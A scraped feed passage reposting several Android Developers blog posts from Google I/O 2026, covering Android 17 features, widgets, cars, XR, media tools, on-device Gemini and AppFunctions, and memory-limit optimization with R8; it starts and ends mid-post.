  Android 17 marks a shift toward a single, Compose-based development model for all widgets. By unifying the experience across mobile, Wear OS, and cars through Jetpack Glance, you can soon scale UI components across the ecosystem with a familiar workflow. <br><br>The breakthrough this year is the integration of RemoteCompose. On mobile and cars, it powers high-fidelity animations, while on Wear OS, it allows Wear Widgets (formerly Tiles) to render complex UI logic natively on remote surfaces. This ensures peak performance on low-power hardware while allowing a cohesive user journey—like checking a flight status on your car dashboard and seeing gate change updates on your wrist.</div><div><br></div><div><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA5s4g4hCW89qdeC2oqrTtxh6q7t9q3-wkOSt3tfVzCT3vhLUd1GMYJrhCjK04O2jyxBGl0R2pclnRq3Kb0f0Td-hV9aukKvZQTfGpGJS6GLK0MqUkpVW_0qiNC1eMGe6NPPhlCHrnQWFYhmbdSzpDnUHh5tjvpmUzZOvY2w_dX1LBnpNctSRmeahXUl4/w640-h320/blog_widgets.gif"></div><div><i>Four widgets are shown cycling through in the Android Auto interface. A clock, a contact card, Google Home favorites and a photo.</i></div><div><i><br></i></div><div><strong><span>11: Expand your reach on the road with Android for Cars</span></strong><br>To help you expand your reach when you build in-car experiences, we're making it easier to build once and deliver your apps to Android Auto and Android Automotive OS. With the latest releases of the Car App Library, you can build customized, distraction-optimized <a href="https://developer.android.com/training/cars/apps/media">templated media apps</a> for both platforms. We're introducing new <a href="https://developer.android.com/design/ui/cars/guides/components/overview">components</a> and template capabilities to give you increased flexibility and more options for laying out content. Parked experiences are expanding too, with immersive video playback coming to Android Auto for phones running Android 17. You can easily adapt your video apps for these parked experiences; <a href="https://docs.google.com/forms/d/e/1FAIpQLSf0z4Nfw8wrloVhlgHDpLgdkg4WXsFj9ni5c1pw0qTvJ3Q4fQ/viewform">apply now to the early access program</a> to publish in these beta categories and learn more about the latest updates in our <a href="http://android-developers.googleblog.com/2026/05/android-for-cars-unifying-platforms-premium-experiences.html">blog</a>.<h3><strong><span>12: Accelerate your development with Android XR Developer Preview 4</span></strong></h3>Inspired by the innovative experiences you’ve built for the platform, we’re continuing to mature our tools with <a href="https://goo.gle/XRSDK_IO26">Developer Preview 4 of the Android XR SDK</a>. A key milestone in this journey is the transition of our core libraries, XR Runtime, Jetpack SceneCore, and ARCore for Jetpack XR, moving to Beta soon to provide a more stable and performant foundation. We are also accelerating hardware access through the <a href="https://goo.gle/Catalyst_IO26">Android XR Developer Catalyst Program</a>, where you can apply for XREAL’s Project Aura, audio glasses, or display glasses developer kits. Watch The latest in Android XR session or <a href="https://goo.gle/XRSDK_IO26">read our blog</a> to see how these updates help you build experiences across the ecosystem.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyjbgGH7RwGkOkQLoXeLd88Vo7cXRjHLBSRokBWkzvYQUrqqbfrTXukM1u_SuGq0-AoXRPoGABpCOF-HMad4-aoNvXjTVyNXgGpbffTlSQMbTaXJva1c2GiUBx1fhC4fCCd0XO9XFzKNzs6edNqo0RAx-p2ZNXy0l-StJh7AxhyphenhyphenrXi-lqe-jXL0n8oprs/w640-h360/Aura%20Geospatial%20Tour%20Demo%20-%20Draft%2001%20(1).gif"></div><i><div><i>Early preview of the Geospatial API  in ARCore for Jetpack XR, enabling high-precision anchoring of digital content to real-world locations.</i></div></i><h3><strong><span>13: Android is your new home for professional-grade media experiences</span></strong></h3>
  Android 17 streamlines the entire media lifecycle with a production-ready toolkit. High-fidelity capture is now simplified with the CameraXViewfinder Composable, which handles complex scaling and responsiveness on foldables and tablets. For post-production, the new Media3 AI Effects library provides a single interface for premium features like Magic Eraser and Studio Sound, automatically optimizing for the device's hardware. <br><br>The pipeline is completed by CodecDB, offering chipset-specific encoding recommendations to eliminate export noise, and a new Scrubbing Mode in ExoPlayer for ultra-smooth seeking. Whether you’re compositing multi-asset edits with Media3 Transformer or using the streamlined CastPlayer API, these updates ensure a professional-grade experience with significantly less development overhead.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXXvjrWhhRUXdYJyhuu-Vnf0UP2jKcYhAvUggZJi10kndrixZdx4cD8HEhrWVmavlxAUT5N025Fx1kgOLJP5w83LDUSR3E9YzfIJUuZ3WBedFSBtI_oLgIcxSOYg-s53obwX_8HtYqfxSaz95LVzSiMAdrrwgL4T6TVETwtxxkZV2mSkkAfvYA681zNlc/w640-h542/supercharge%20(1).gif"></div><div class="separator"><i>Low Light Boost and Magic Eraser in action</i></div><h3><strong><span>14: Increase app discovery and engagement on Google TV</span></strong></h3>
  Pointer remotes, which enable motion-controlled input, will be a future way for users to interact with Google TV as it unlocks faster user navigation. App developers can start <a href="https://developer.android.com/training/tv/get-started/hardware#no-touchscreen">declaring support for pointing input</a> to ensure their apps are discoverable on future TVs with pointer remotes. Additionally, the Engage SDK, formerly known as the Video Discovery API, optimizes Resumption, Entitlements, and Recommendations across all Google TV form factors to boost app discovery and engagement. It’s a great time to start onboarding the Engage SDK now, since the legacy Watch Next API, which has been powering your continue watching 1.0 experience, will lose support in the 2nd half of 2027. Get all the details in our <a href="http://android-developers.googleblog.com/2026/05/increase-google-tv-app-discovery.html">blog</a>.</div><div><h3><strong><span>15: Performance: the foundation of a great app experience</span></strong></h3>To help developers navigate memory limits in Android 17, we've launched a suite of optimization tools. The <a href="https://developer.android.com/r8-analyzer">R8 Configuration Analyzer</a> identifies keep rules that are bloating your binary, while <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/how-to-capture">ProfilingManager</a> and the integrated LeakCanary in Android Studio streamline memory leak detection. Furthermore, the new <a href="https://developer.android.com/android-performance-analyzer">Android Performance Analyzer</a> offers advanced AI integration for complex trace analysis and automated SQL query generation to pinpoint performance bottlenecks.     <h2><strong><span>And The Latest on Driving Business Growth </span></strong></h2>

  <h3><strong><span>16: What’s new in Google Play</span></strong></h3>Today's <a href="https://goo.gle/play-io26">updates from Google Play</a> help expand your reach and scale your business with less complexity. We’re redefining Play Store discovery with an immersive, short-form video format called Play Shorts, while expanding your audience beyond the store with app discovery in the Gemini app on Android and web. Plus, we’re introducing powerful new capabilities like agentic catalog management for seamless bulk price and SKU updates, and using Gemini models to enable Play Console  to pre-populate store listings from imported documents—making global localization effortless. </div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOB1wGZNYGPgY0ED70X7Dtl2KiFk8kRH4fv3HrXXTWX0-xKkN4Em0mi8QAB0g2w_-4SNcTR4fJazpiQ7XI6-XKeyQniFhULKWNmV8YvyWMuQ9tosvT5ixZ0FOye27DI90R5Tra1eWX3FCX7OrWkgzhvhCD6vtfD8_6-FMfMWDvXoVv3zSTauZwraDGsM4/w640-h360/IO26_BlogInLine_App-discovery-in-Gemini_1920x1080_1605.gif"></div><div><i>Gemini will provide users with app suggestions during a search</i></div>

  <h3><strong><span>17: And of course, Android 17</span></strong></h3>
  Android 17 includes new performance &amp; system architecture improvements (in addition to app memory limits) like a lock-free MessageQueue and a GC with more frequent, less intensive young-generation collections to ensure system-wide stability and smoother UIs. The new <a href="https://developer.android.com/about/versions/17/features/contact-picker">contact picker</a> and <a href="https://developer.android.com/reference/android/content/Intent#ACTION_OPEN_EYE_DROPPER">eyedropper API</a> help minimize the use of sensitive permissions and unnecessary access to user data. <br><br>Review <a href="https://developer.android.com/about/versions/17/behavior-changes-all">the behavior changes</a> to make sure your app is ready for Android 17, including <a href="https://developer.android.com/about/versions/17/behavior-changes-all#bg-audio">background audio hardening</a> and <a href="https://developer.android.com/about/versions/17/behavior-changes-all#sms-otp-all-apps">SMS OTP protection</a>. Get ready to <a href="https://developer.android.com/about/versions/17/behavior-changes-17">target Android 17</a> (API 37) with changes such as mandatory large-screen resizability, certificate transparency by default, and restricted local network access. You can start testing today by enrolling your device <a href="https://android-developers.googleblog.com/2026/04/the-fourth-beta-of-android-17.html">in the Beta</a> or using the latest 17.0 emulator images. <br><br>One more thing. the third beta of our Android 17 quarterly platform release (QPR1) just came out, and it contains a minor SDK release to support a few features that just couldn't wait for QPR2.

  <h2><strong><span>Check out all of the Android &amp; Play Content at Google I/O </span></strong></h2>
  <p><span face="sans-serif">This was just a preview of some of the updates for Android developers at Google I/O. Tune into <a href="https://io.google/2026/explore/pa-keynote-5">What’s New in Android</a> for the latest news and announcements and <a href="https://io.google/2026/">follow Google I/O</a> for much more over the following week!</span></p></div>]]></content:encoded>
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<title><![CDATA[Top AI on Android updates for building intelligent experiences from Google I/O ‘26]]></title>
<description><![CDATA[Posted by Jingyu Shi, Staff Developer Relations EngineerAt Google I/O 2026, we introduced Android’s shift from an operating system to an intelligence system. We also demonstrated how you can build intelligent experiences natively with the system and bring the power of Google’s AI into your apps. ...]]></description>
<link>https://tsecurity.de/de/3693510/android-tipps/top-ai-on-android-updates-for-building-intelligent-experiences-from-google-io-26/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693510/android-tipps/top-ai-on-android-updates-for-building-intelligent-experiences-from-google-io-26/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:43 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqtr_NVZaXiVnywBK8bKIamZw4oM3DFopMeWXl_DsHJktlRpmuCkOCQEkc85z-xJ8id7DT8ggl6OopYCndxxYb8kA2LIttV3DlL1Mzmt5OffK_Lyq1q_mxg4RdUjQ23rOyNY5N3wopBtBODH-HQsPRqBc8cS8Kw0Azhz14Jn8EjEdKQ3znXGLRVUpM_-g/s4097/Blog_Meta@2x.png">



<i>Posted by Jingyu Shi, Staff Developer Relations Engineer</i><div><i><br></i><div><name content="IMG" twitter:image=""><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnWqvWK7oNvOOsTjwsLlEtnmvh7HwduYCahIBBtGUCUZQmQ0pfEWvk3hH0xlrnhyi5oZzY_ZU22jLYl-IA00DVLLi0No_oYWTXYZSk95GLU5P-IirCS74fx2MAUV5mKO_p_6SvFiiNmFnuUoet0QHyMjc8TeLE4Ie7HE3wcFfNeFzkN66IDCkNx1QYQiI/s8419/BLOG%20HERO_BLOGGER@2x.png"><img border="0" data-original-height="2507" data-original-width="8419" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnWqvWK7oNvOOsTjwsLlEtnmvh7HwduYCahIBBtGUCUZQmQ0pfEWvk3hH0xlrnhyi5oZzY_ZU22jLYl-IA00DVLLi0No_oYWTXYZSk95GLU5P-IirCS74fx2MAUV5mKO_p_6SvFiiNmFnuUoet0QHyMjc8TeLE4Ie7HE3wcFfNeFzkN66IDCkNx1QYQiI/s16000/BLOG%20HERO_BLOGGER@2x.png"></a></div><br><i><br></i><p></p><p><i></i></p><br></name><div>At Google I/O 2026, we introduced Android’s shift from an operating system to an intelligence system. We also demonstrated how you can build intelligent experiences natively with the system and bring the power of Google’s AI into your apps. If you missed these updates, check out our quick recap video here: </div><div><div><name content="IMG" twitter:image=""><br><div class="separator">
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  <br></div></name><h4><name content="IMG" twitter:image=""><b><span>1. Putting your apps at the center of the intelligence system</span></b></name></h4><name content="IMG" twitter:image=""><div>The Android OS already enables agents like <a href="https://www.android.com/gemini-intelligence/?utm_source=blog.google&amp;utm_medium=owned&amp;utm_campaign=next">Gemini</a> to complete task automation, where it can navigate an app on the users behalf. </div><div><br></div><div><a href="https://developer.android.com/ai/appfunctions">AppFunctions</a> (Android MCP) provides you with more control over how your app integrates with the intelligence system. This new platform API and Jetpack library are currently available in experimental preview. </div><p></p><ul><li><name content="IMG" twitter:image=""><b>Android MCP:</b> AppFunctions allows your application to act as an on-device Model Context Protocol (MCP) server. It means you seamlessly share your app's tools, services and data to the system and agents.</name></li></ul><p></p><p></p><ul><li><name content="IMG" twitter:image=""><b>Streamlined Development: </b>You can leverage the new <a href="https://github.com/android/skills/tree/main/device-ai/appfunctions">skill</a> to easily generate AppFunctions within your codebase.  </name></li></ul><p></p><p></p><ul><li><name content="IMG" twitter:image=""><b>Exploration and Testing:</b> We’ve released a new <a href="https://github.com/android/appfunctions/releases">test agent</a> that allows you to experiment and debug your AppFunctions in a simulated agent environment. </name></li></ul><span><div align="center" dir="ltr"><table><colgroup><col></colgroup><tbody><tr><td><div><span face='"Google Sans Text", sans-serif'>Early Access Program</span><span face='"Google Sans Text", sans-serif'>: Want to be among the first apps to deploy app functions in production? </span><a href="https://docs.google.com/forms/d/e/1FAIpQLScEoIsgzE-LbgRrYcQMc-Lit_5VlKRA0iWw7Pvg1brIc8wXAw/viewform"><span face='"Google Sans Text", sans-serif'>Join</span></a><span face='"Google Sans Text", sans-serif'> our early access program today!</span></div></td></tr></tbody></table></div></span></name></div><div><br></div><div>To see it in action, check out the live demo showcased during the <i>What’s New</i> in Android presentation.</div><div><br></div><div class="separator">
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  <div><div><span><br></span></div><h4><b> <span>2. On-Device Power with Gemini Nano 4 Preview</span></b></h4><br><div>Last month, we launched <a href="https://android-developers.googleblog.com/2026/04/gemma-4-new-standard-for-local-agentic-intelligence.html">Gemma 4</a>, our state-of-the-art open models. You can already preview and prototype with the next generation of Gemini Nano (Nano 4) models with the <a href="https://developers.google.com/ml-kit/genai/aicore-dev-preview">AIcore developer preview</a>. To make productionizing with Gemini Nano more reliable and performant, we are adding a few new features in <b>ML Kit GenAI APIs</b>: </div><br><p></p><p></p><ul><li><b>Prototype to Production: </b>Transition from prototyping in the AICore Developer Preview to building production-ready apps using the ML Kit GenAI <a href="https://developers.google.com/ml-kit/genai/prompt/android/get-started">Prompt API</a> to leverage Gemini Nano 4 that’s launching in flagship devices later this year.</li></ul><p></p><p></p><p></p><ul><li><b>Structured Output:</b> The upcoming Structured Output API will allow you to define object classes to be returned as outputs from Prompt API, ensuring reliable outputs in productionizing your intelligent features. </li></ul><p></p><p></p><ul><li><b><a href="https://developers.google.com/ml-kit/genai/prompt/android/prefix-caching">Prefix Caching</a>:</b> It optimizes your on-device inference performance with the prompt API. The new Prefix caching reduces inference time by storing and reusing the intermediate LLM state of processing a shared and recurring part of the prompt.</li></ul><p></p><div><b><br></b></div><div>For highly customized or niche use cases, you can also use LiteRT-LM to <a href="https://youtu.be/boy-UjB8hpA?si=MCPddRD7eblz8ICr">bring your own</a> fine-tuned small language model to Android.</div></div><br><div class="separator">
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</div><div class="separator"><br></div><div class="separator"><br></div><b><div><b><span>3. Hybrid Inference &amp; Agents</span></b></div></b><div><div><br></div><div>To help you build more advanced AI features like hybrid inference and explore building in-app agents, we’ve released new APIs, framework and guidances:</div><p></p><p></p><ul><li><b><a href="https://android-developers.googleblog.com/2026/04/Hybrid-inference-and-new-AI-models-are-coming-to-Android.html">Firebase AI Logic Hybrid Inference</a>: </b>This new API provides the simple routing capability between on-device models and powerful cloud infrastructure. You can set explicit orchestration modes, such as <code>PREFER_ON_DEVICE</code>, <code>PREFER_CLOUD</code>, <code>ONLY_ON_DEVICE</code>, or <code>ONLY_CLOUD</code>, based on your need.</li></ul><p></p><p></p><p></p><ul><li><b>A2UI Jetpack Compose Renderer:</b> The new A2UI library allows your agents to "speak UI". With the upcoming Jetpack Compose Renderer, you can automatically render these A2UI messages as native UI components.</li></ul><p></p><p></p><ul><li><b><a href="https://developers.googleblog.com/adk-kotlin-android-building-ai-agents/">ADK for Android</a>:</b> The first version of ADK for Android is available for experimentation. It allows you to build multi-agent workflows across both on-device and Cloud models while managing orchestration, context handling and sessions between agents.</li></ul><div><br></div><div>From building with on-device models, exploring hybrid inference to building agents, you can see them in action in this talk: </div></div><div> <br><p></p><div class="separator">
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  </div><div class="separator"><br></div><div class="separator"><h3>Start Building Today</h3><div class="separator"><div class="separator"><div class="separator">Whether you are experimenting with AppFunctions to prepare for the intelligence system, or looking to bring the power of Google’s AI within your own app, we’ve got you covered. Dive deeper into the code snippets, samples and comprehensive developer guides on the Android AI <a href="https://developer.android.com/ai">hub</a>. For the full breakdown of what’s new, check out the official <b>AI on Android at Google I/O 2026</b> <a href="https://www.youtube.com/playlist?list=PLWz5rJ2EKKc-GL3584TkxUyoPfzPkB1mV">playlist</a>.</div><div class="separator"><br></div><div class="separator">We are excited to see what you build! </div><div><br></div></div><div><br></div></div></div></div></div></div></div></div>]]></content:encoded>
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<title><![CDATA[Building Premium Android Experiences at Google I/O ‘26]]></title>
<description><![CDATA[Posted by Ataul Munim, Android Developer Relations Engineer



  
    
  



  A truly differentiated Android experience is about delivering premium delight wherever your users are. At Google I/O ‘26, we showcased how the latest advancements in the Android ecosystem can help you elevate your app'...]]></description>
<link>https://tsecurity.de/de/3693509/android-tipps/building-premium-android-experiences-at-google-io-26/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693509/android-tipps/building-premium-android-experiences-at-google-io-26/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:42 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKGsnLX5Gwc9xouq7Q32ltvbL7xW_d4jnCXtoEFr7emB2wzqlZEuXM8FXe22ZPSguMX-nOrxAPYja6AYBZWxF-lKJYxw09D3f2aMyjxsSi5jinnDBjJPOIFDyqVhuJC2SjOqKHLAmstGg1nhyphenhyphenJGYfp3m71TPL_i3xFAUm6PKp3uo5WVytjoRwTIoNmMVQ/s4097/MM_Differentiated%20Experiences_Meta.png">

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  <div class="separator"><em>Posted by Ataul Munim, Android Developer Relations Engineer</em></div>
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  A truly differentiated Android experience is about delivering premium delight wherever your users are. At Google I/O ‘26, we showcased how the latest advancements in the Android ecosystem can help you elevate your app's quality while maximizing development efficiency.
</div>

<div>
  <p>To help you build apps that stand out, we're diving into the key tools and libraries designed to optimize your core performance, extend the surfaces of your app to other devices, and streamline how your app handles high-quality media. </p>
  <p>Here is a recap of the essential updates and sessions you need to know to deliver a next-level experience across form factors!</p>
</div>

<div class="separator">
  
</div>

<h3>Maximize app performance and ROI with the R8 Configuration Analyzer</h3>
<p>A premium experience is only as good as its foundation, and a performant foundation is what allows your app to scale across the Android ecosystem. This is especially true with the release of Android 17, which introduces conservative, device RAM-based app memory limits to target extreme memory leaks and outliers before they cause system-wide instability. To stay below these new system thresholds and prevent your app from being terminated, having a lean footprint is no longer optional: it’s a critical requirement.</p>
<p>This year, we’re making it easier to build highly optimized, fast apps by introducing the <a href="https://developer.android.com/topic/performance/app-optimization/r8-configuration-analyzer" target="_blank">R8 Configuration Analyzer</a> in Android Studio. R8 is your most powerful tool for improving app performance, but its effectiveness is often limited by overly broad "keep rules" that prevent the compiler from stripping away unused code. The new Configuration Analyzer provides optimization, obfuscation, and shrinking scores, allowing you to identify specific rules that are preventing the benefits of R8 optimization.</p>
<p>By optimizing their R8 configurations, developers at Monzo achieved a 30% improvement in cold starts and a 35% reduction in ANRs. Smaller, faster code isn't just about efficiency; it's about ensuring your app has the memory headroom to deliver delight on every form factor, from the phone to the car.</p>

<div class="separator">
  
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<h3>Extend your reach with a unified approach to Widgets on Phones, Watches and Cars</h3>
<p>User interaction is shifting toward quick, glanceable moments—short bursts of information that keep users connected without needing to open the full app. To help you increase the reach of your app content, we are unifying the development experience across the Android ecosystem with Jetpack Glance. By using a consistent, Compose-based model, you can elevate the content most important to your users straight to the phone’s home screen, Wear Widgets (previously Tiles!), and cars with a familiar workflow.</p>
<p>In order to help users engage with your content and features, even outside your app, we are making widgets more expressive and adaptive with RemoteCompose. On Wear OS, RemoteCompose allows you to use the Compose tools you’re already comfortable with to define UI logic that renders natively on remote surfaces, ensuring that your glanceable experiences remain highly performant and responsive even on resource-constrained hardware. On mobile and cars, RemoteCompose is used as a new framework giving Widgets new expressive capabilities.</p>
<p>You can use Jetpack Glance (together with RemoteCompose on Wear) to deliver a cohesive user journey. Whether it’s viewing flight status on the car dashboard, checking a gate change on a watch, or managing a boarding pass from a phone widget, this shared approach maximizes your app’s presence while keeping your development effort focused and efficient.</p>

<div class="separator">
  
</div>

<div>
  <h3>Supercharge your media pipeline with a complete, production-ready toolkit</h3>
  <div>Android has become a world-class home for the entire media lifecycle, and we are simplifying the journey from the first capture to the final playback. By leveraging Jetpack CameraX and Media3, you can build professional-grade experiences that feel native across the entire ecosystem. </div>
  <p>It starts with high-fidelity capture using the CameraXViewfinder Composable, which ensures your preview remains perfectly scaled and responsive on any form factor, including foldables and tablets. Use this to build adaptive capture experiences like a picture-in-picture view for multi-tasking, or that take advantage of modern features like high-frame-rate or slow-motion capture with CameraX v1.5.<br></p>
  <p>The new Media3 AI Effects library will provide a unified interface for premium features like Image &amp; Video Enhance, Magic Eraser, and Studio Sound. This allows you to focus on the creative intent while Media3 handles the heavy lifting of choosing the most efficient and reliable path for the device. Then, use the latest improvements in multi-asset editing with Media3 Transformer to composite your edited videos together!</p>
  <p>Complete the pipeline with tools designed for professional-grade export and viewing, including:</p>
  <ul>
    <li>CodecDB, which offers data-driven encoding recommendations tailored to specific chipsets, ensuring your exported videos maintain high visual quality with minimal noise or blurriness</li>
    <li>Scrubbing Mode in ExoPlayer to provide the buttery-smooth seeking experience users expect from premium media apps</li>
    <li>Enhanced Cast support with the new CastPlayer API in Media3</li>
  </ul>
  <p>By unifying these technical pillars, you can build a cohesive, high-performance media journey that delivers both delight for your users and high ROI for your development team.</p>
</div>

<div class="separator">
  
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<p>For more details, check out the <i>premium</i> Android experience <a href="https://youtube.com/playlist?list=PLWz5rJ2EKKc8lSdmWQ_fSpV9yEGRvEL6S&amp;si=H6-8-AbtEyTqSxeY" target="_blank">YouTube playlist</a>.</p>]]></content:encoded>
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<title><![CDATA[Prioritizing Memory Efficiency: Essential Steps for Android 17]]></title>
<description><![CDATA[Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer



    
        
    



    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which thes...]]></description>
<link>https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:41 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCIAoJpwUITPS5C3_eTksMsaslwqPk7SIEQHkwEkGv8572ccdIKcdv6kNC1BOSJPAZTgX5m3liMMv4zdK58e5dWRhUfo39uas23LuhEWf13TFnDTdw-Z5mWn4JarSnC8yCET8Sw15zSF-jQ5zwALriacGK6IjAGxNg61sFtSxzndjvqXxZtJt4qxuzd9A/s2048/Engineering-Memory-Blog-Meta-3.png">

<div class="separator">
    <em>Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer</em>
</div>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanYZz4QpaDuwP7y_ZVGCUh6TpdQxS65pBcYr-Qkawd9YFS587tnIUPnqDROlxIXzgdz6GGxluR3LzH8ZabQPWz382FDEOEDpK3GxUFywn0A54JXFtUwDPaeI0JnFhEl-6NRrcjKeFPMLozNQv_An9OcWEUA-rmXfOhWvIKRrptdblGEZHERD0P-ynFcc/s4209/Engineering-Memory-Blog-3.png">
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<p>
    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.
</p>

<p>
    To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.
</p>

<div>
    Beyond these forced terminations, unoptimized memory usage inevitably degrades the user experience. When the app approaches heap memory limits, it triggers frequent garbage collection—leading to noticeable UI stutters. Furthermore, when a device runs out of available memory, the system scrambles to reclaim pages, causing CPU strain, UI latency, and battery drain. If the memory shortage is too severe, it can cause Low Memory Killer (LMK) events that abruptly terminate background processes and force apps to have slow cold starts and lose user state.
</div>

<div>
    <p>To build highly performant apps and avoid these forced terminations, we recommend that you adopt the following memory optimization strategies:</p>
    <ol>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Maximize">Maximize bytecode optimization with R8</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Optimize">Optimize image loading</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Detect">Detect and fix memory leaks with Android Studio</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Trim">Trim memory when app leaves visible state</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Advanced">Advanced memory observability with ProfilingManager</a></li>
    </ol>
</div>
<br>
<div>
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    </div>
    <div>
        <em>A condensed version of this blog post is also available in video format, go check it out!</em>
    </div>
    
    <h3>Understanding Android 17 app memory limits</h3>
    <p>App memory limits are being introduced in Android 17 to prevent "one bad actor" from destroying the multitasking experience and stability of the user’s entire device.</p>
    <p>Here is a breakdown of the reasons driving this architectural change:</p>
    
    <div>
        <ul>
            <li><b>Preventing cascading kills:</b> When an app becomes bloated or leaks memory while holding a privileged state (e.g. it’s running a Foreground Service), it is initially shielded from the system's Low Memory Killer (LMK). As this single app grows unchecked and hoards RAM, the LMK is forced to compensate by killing off dozens of smaller, well-behaved cached apps and background jobs to reclaim space for the memory hog.</li>
            <li><b>Preserving multitasking and user state:</b> When the system is forced to purge cached apps to accommodate a single leaking process, the multitasking experience is severely degraded. Users returning to prior cached applications encounter sluggish cold starts instead of near-instant warm resumes. This inefficiency generates more CPU strain and accelerates battery depletion. It can also destroy the user’s context in recently used apps, such as scroll positions, navigation stacks, and in-game progress.</li>
        </ul>
        
        <div>
            <p>To determine if your app session was impacted by these constraints in the field, you can call <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#getDescription%28%29" target="_blank">getDescription()</a> within <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo" target="_blank">ApplicationExitInfo</a>. If the system applied a limit, the exit reason is reported as <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#REASON_OTHER" target="_blank">REASON_OTHER</a> and the description string will contain "MemoryLimiter:AnonSwap". You can also leverage <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/trigger-based-capture" target="_blank">trigger-based profiling</a> using <a href="https://developer.android.com/about/versions/17/features#anomaly-profiling-trigger" target="_blank">TRIGGER_TYPE_ANOMALY</a> to automatically capture heap dumps when the memory limit is reached. Furthermore, Android is actively working to surface more in-field memory metrics to developers within the Google Play Console.</p>
            <p>We have also expanded our <a href="https://developer.android.com/about/versions/17/behavior-changes-all#app-memory-limits" target="_blank">memory limits documentation</a> to include local debugging commands, allowing you to simulate memory constraints in your local environment and validate your application's behavior under any memory limit enforcement. </p>
        </div>
    </div>
</div>

<div>
    <h3>Maximize bytecode optimization with R8</h3>
    <p>A highly effective way to reduce your app's memory footprint is to enable the R8 optimizer. By shrinking classes, methods, and fields into shorter names and stripping out unused code and resources, R8 significantly reduces your app's memory footprint by minimizing the amount of resident code required during execution. </p>
    <p>R8 minimizes resident code, shrinking the memory footprint and lowering LMK termination risk. This results in more frequent warm starts over slow cold starts. Additionally, streamlined bytecode reduces main-thread CPU overhead, directly cutting ANR rates for a more fluid user experience. For example, the digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and saw a 35% reduction in their ANR rate, a 30% improvement in cold start rate, and a 9% reduction in overall app size.</p>
</div>

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    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB61hi7-o6RYAHNOoIg1egyi6iU3iGtLbwfOb-s6r_PadBV2LZzvYtcdD00iwcApjnqmwOssOLFSHv8MG_es8WJWaJUPaO6rMY4ZcINSBFROo_1Di3LVMvIEhPldpzQsUOxV1Z7VfPwvej2fa9a7yCNwBdGOGw2LMLtPrCST6InlqF1xHds30rS76C9no/s2500/pic1-IO26_113_TSV-monzo-casestudy.jpg">
        <img border="0" data-original-height="1406" data-original-width="2500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB61hi7-o6RYAHNOoIg1egyi6iU3iGtLbwfOb-s6r_PadBV2LZzvYtcdD00iwcApjnqmwOssOLFSHv8MG_es8WJWaJUPaO6rMY4ZcINSBFROo_1Di3LVMvIEhPldpzQsUOxV1Z7VfPwvej2fa9a7yCNwBdGOGw2LMLtPrCST6InlqF1xHds30rS76C9no/s16000/pic1-IO26_113_TSV-monzo-casestudy.jpg">
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<div>
    <i>The digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and boosted performance metrics by up to 35%.</i>
</div>

<div>
    <p>To properly configure R8 in your <code>build.gradle</code> file:</p>
    <ul>
        <li>Set <code>isShrinkResources = true</code> and <code>isMinifyEnabled = true</code>.</li>
        <li>Use <code>proguard-android-optimize.txt</code> instead of the legacy <code>proguard-android.txt</code>, which actually prevents optimizations and is no longer supported in Android Gradle Plugin 9.</li>
        <li>Remove <code>android.enableR8.fullMode = false</code> from your <code>gradle.properties</code>.</li>
